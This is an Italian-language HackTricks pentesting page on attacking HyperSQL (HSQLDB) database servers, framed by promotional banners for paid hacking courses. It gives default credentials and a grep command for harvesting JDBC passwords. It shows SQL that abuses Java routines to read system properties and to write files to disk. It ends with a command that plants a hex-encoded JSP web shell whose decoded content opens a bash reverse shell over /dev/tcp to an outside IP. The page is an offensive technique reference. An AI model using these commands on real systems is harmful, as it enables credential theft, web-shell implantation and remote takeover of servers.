5.4 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Informazioni di base
HSQLDB (HyperSQL DataBase) è il principale sistema di database relazionali SQL scritto in Java. Offre un motore di database multithread veloce e di piccole dimensioni con tabelle in memoria e su disco e supporta modalità incorporate e server.
Porta predefinita: 9001
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
Informazioni
Impostazioni Predefinite
Nota che per impostazione predefinita questo servizio è probabilmente in esecuzione in memoria o è legato a localhost. Se lo hai trovato, probabilmente hai sfruttato un altro servizio e stai cercando di elevare i privilegi.
Le credenziali predefinite sono solitamente sa
con una password vuota.
Se hai sfruttato un altro servizio, cerca possibili credenziali usando
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
Note il nome del database con attenzione - ne avrai bisogno per connetterti.
Info Gathering
Connettiti all'istanza del DB scaricando HSQLDB ed estraendo hsqldb/lib/hsqldb.jar
. Esegui l'app GUI eww
usando java -jar hsqldb.jar
e connettiti all'istanza utilizzando le credenziali scoperte/deboli.
Nota che l'URL di connessione avrà un aspetto simile a questo per un sistema remoto: jdbc:hsqldb:hsql://ip/DBNAME
.
Tricks
Java Language Routines
Possiamo chiamare metodi statici di una classe Java da HSQLDB utilizzando Java Language Routines. Nota che la classe chiamata deve essere nel classpath dell'applicazione.
Le JRT possono essere functions
o procedures
. Le funzioni possono essere chiamate tramite istruzioni SQL se il metodo Java restituisce una o più variabili primitive compatibili con SQL. Vengono invocate utilizzando l'istruzione VALUES
.
Se il metodo Java che vogliamo chiamare restituisce void, dobbiamo usare una procedura invocata con l'istruzione CALL
.
Reading Java System Properties
Crea funzione:
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
Esegui funzione:
VALUES(getsystemproperty('user.name'))
Puoi trovare un elenco delle proprietà di sistema qui.
Scrivere contenuto su file
Puoi utilizzare il com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename
gadget Java situato nel JDK caricato automaticamente nel class path dell'applicazione
per scrivere elementi codificati in esadecimale su disco tramite una procedura personalizzata. Nota la dimensione massima di 1024 byte.
Crea procedura:
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
Esegui procedura:
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
{% hint style="success" %}
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.